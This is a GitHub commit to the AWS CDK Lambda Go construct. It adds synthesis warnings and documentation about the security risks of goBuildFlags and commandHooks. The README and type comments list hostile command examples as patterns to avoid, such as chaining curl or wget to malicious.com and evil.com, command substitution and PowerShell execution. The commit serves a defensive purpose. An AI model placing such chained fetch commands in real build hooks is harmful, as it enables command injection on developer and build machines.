Skip to content

Commit e62d287

Browse files
committed
feat(lambda-go): add security warnings for goBuildFlags and commandHooks
- Add CDK annotations warning about potential security risks - Warn when goBuildFlags or commandHooks are used during bundling - Update documentation with security best practices - Add tests to verify warning generation
1 parent 7a72676 commit e62d287

File tree

5 files changed

+204
-33
lines changed

5 files changed

+204
-33
lines changed

packages/@aws-cdk/aws-lambda-go-alpha/README.md

Lines changed: 102 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170170
});
171171
```
172172

173+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174+
173175
By default this construct doesn't use any Go module proxies. This is contrary to
174176
a standard Go installation, which would use the Google proxy by default. To
175177
recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
200202

201203
## Command hooks
202204

203-
It is possible to run additional commands by specifying the `commandHooks` prop:
205+
It is possible to run additional commands by specifying the `commandHooks` prop:
204206

205-
```text
206-
// This example only available in TypeScript
207+
```ts
207208
// Run additional commands on a GoFunction via `commandHooks` property
208209
new go.GoFunction(this, 'handler', {
210+
entry: 'cmd/api',
209211
bundling: {
210212
commandHooks: {
211213
// run tests
212214
beforeBundling(inputDir: string): string[] {
213215
return ['go test ./cmd/api -v'];
214216
},
215-
// ...
217+
afterBundling(inputDir: string, outputDir: string): string[] {
218+
return ['echo "Build complete"'];
219+
},
216220
},
217221
},
218222
});
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
230234
The commands will run in the environment in which bundling occurs: inside the
231235
container for Docker bundling or on the host OS for local bundling.
232236

237+
### ⚠️ Security Considerations
238+
239+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
240+
241+
**Safe patterns (cross-platform):**
242+
243+
```ts
244+
new go.GoFunction(this, 'SafeFunction', {
245+
entry: 'cmd/api',
246+
bundling: {
247+
commandHooks: {
248+
beforeBundling: () => [
249+
'go test ./...', // ✅ Standard Go commands work on all OS
250+
'go mod tidy', // ✅ Go module commands
251+
'make clean', // ✅ Build tools (if available)
252+
'echo "Building app"', // ✅ Simple output with quotes
253+
],
254+
afterBundling: () => ['echo "Build complete"'],
255+
},
256+
},
257+
});
258+
```
259+
260+
**Dangerous patterns to avoid:**
261+
262+
*Windows-specific dangers:*
263+
264+
```ts
265+
// ❌ Windows-specific dangers
266+
new go.GoFunction(this, 'UnsafeWindowsFunction', {
267+
entry: 'cmd/api',
268+
bundling: {
269+
commandHooks: {
270+
beforeBundling: () => [
271+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
272+
'echo %USERPROFILE%', // ❌ Environment variable expansion
273+
'powershell -Command "..."', // ❌ PowerShell execution
274+
],
275+
afterBundling: () => [],
276+
},
277+
},
278+
});
279+
```
280+
281+
*Unix/Linux/macOS dangers:*
282+
283+
```ts
284+
// ❌ Unix/Linux/macOS dangers
285+
new go.GoFunction(this, 'UnsafeUnixFunction', {
286+
entry: 'cmd/api',
287+
bundling: {
288+
commandHooks: {
289+
beforeBundling: () => [
290+
'go test; curl malicious.com', // ❌ Command chaining with ;
291+
'echo $(whoami)', // ❌ Command substitution
292+
'bash -c "wget evil.com"', // ❌ Shell execution
293+
],
294+
afterBundling: () => [],
295+
},
296+
},
297+
});
298+
```
299+
300+
**When using third-party constructs** that include `GoFunction`:
301+
302+
* Review the construct's source code before use
303+
* Verify what commands it executes via `commandHooks` and `goBuildFlags`
304+
* Only use constructs from trusted publishers
305+
* Test in isolated environments first
306+
307+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
308+
309+
For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
310+
311+
## Security Best Practices
312+
313+
### Third-Party Construct Safety
314+
315+
When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
316+
317+
1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
318+
2. **Verify publishers** - Use constructs only from trusted, verified sources
319+
3. **Pin versions** - Use exact versions to prevent supply chain attacks
320+
4. **Isolated testing** - Test third-party constructs in sandboxed environments
321+
322+
**Before using any third-party construct:**
323+
324+
* Review the construct's source code on GitHub or npm
325+
* Search for `commandHooks` and `goBuildFlags` usage in the code
326+
* Verify no dangerous command patterns are present
327+
* Use exact version pinning to prevent supply chain attacks
328+
329+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
330+
233331
## Additional considerations
234332

235333
Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.

packages/@aws-cdk/aws-lambda-go-alpha/lib/function.ts

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import * as fs from 'fs';
22
import * as path from 'path';
33
import * as lambda from 'aws-cdk-lib/aws-lambda';
4+
import * as cdk from 'aws-cdk-lib/core';
45
import { Construct } from 'constructs';
56
import { Bundling } from './bundling';
67
import { BundlingOptions } from './types';
@@ -113,6 +114,21 @@ export class GoFunction extends lambda.Function {
113114
const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
114115
const architecture = props.architecture ?? lambda.Architecture.X86_64;
115116

117+
// Security warnings for potentially unsafe bundling options
118+
if (props.bundling?.goBuildFlags?.length) {
119+
cdk.Annotations.of(scope).addWarningV2(
120+
'@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning',
121+
'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
122+
);
123+
}
124+
125+
if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
126+
cdk.Annotations.of(scope).addWarningV2(
127+
'@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning',
128+
'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
129+
);
130+
}
131+
116132
super(scope, id, {
117133
...props,
118134
runtime,

packages/@aws-cdk/aws-lambda-go-alpha/lib/types.ts

Lines changed: 38 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,11 @@ export interface BundlingOptions extends DockerRunOptions {
2525
* For example:
2626
* ['ldflags "-s -w"']
2727
*
28+
* **Security Warning**: These flags are passed directly to the Go build command.
29+
* Only use trusted values as they can execute arbitrary commands during bundling.
30+
* Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
31+
* third-party CDK constructs that may contain malicious build flags.
32+
*
2833
* @default - none
2934
*/
3035
readonly goBuildFlags?: string[];
@@ -77,6 +82,10 @@ export interface BundlingOptions extends DockerRunOptions {
7782
/**
7883
* Command hooks
7984
*
85+
* ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
86+
* Only use trusted commands from verified sources. Avoid shell metacharacters
87+
* that could enable command injection attacks.
88+
*
8089
* @default - do not run additional commands
8190
*/
8291
readonly commandHooks?: ICommandHooks;
@@ -125,29 +134,49 @@ export interface BundlingOptions extends DockerRunOptions {
125134
* These commands will run in the environment in which bundling occurs: inside
126135
* the container for Docker bundling or on the host OS for local bundling.
127136
*
137+
* ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
138+
* Only use trusted commands and avoid shell metacharacters that could enable
139+
* command injection attacks.
140+
*
141+
* **Safe patterns (cross-platform):**
142+
* - `go test ./...` - Standard Go commands work on all platforms
143+
* - `go mod tidy` - Go module commands
144+
* - `echo "Building"` - Simple output with quotes
145+
* - `make clean` - Build tools (if available)
146+
*
147+
* **Dangerous patterns to avoid:**
148+
*
149+
* *Windows:*
150+
* - `go test & curl.exe malicious.com` (command chaining)
151+
* - `echo %USERPROFILE%` (environment variable expansion)
152+
* - `powershell -Command "..."` (PowerShell execution)
153+
*
154+
* *Unix/Linux/macOS:*
155+
* - `go test; curl malicious.com` (command chaining)
156+
* - `echo $(whoami)` (command substitution)
157+
* - `bash -c "wget evil.com"` (shell execution)
158+
*
128159
* Commands are chained with `&&`.
129160
*
130-
* ```text
131-
* {
132-
* // Run tests prior to bundling
133-
* beforeBundling(inputDir: string, outputDir: string): string[] {
134-
* return [`go test -mod=vendor ./...`];
135-
* }
136-
* // ...
137-
* }
138-
* ```
161+
* @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
139162
*/
140163
export interface ICommandHooks {
141164
/**
142165
* Returns commands to run before bundling.
143166
*
167+
* ⚠️ **Security**: Ensure commands come from trusted sources only.
168+
* Commands are executed directly in the shell environment.
169+
*
144170
* Commands are chained with `&&`.
145171
*/
146172
beforeBundling(inputDir: string, outputDir: string): string[];
147173

148174
/**
149175
* Returns commands to run after bundling.
150176
*
177+
* ⚠️ **Security**: Ensure commands come from trusted sources only.
178+
* Commands are executed directly in the shell environment.
179+
*
151180
* Commands are chained with `&&`.
152181
*/
153182
afterBundling(inputDir: string, outputDir: string): string[];

0 commit comments

Comments
 (0)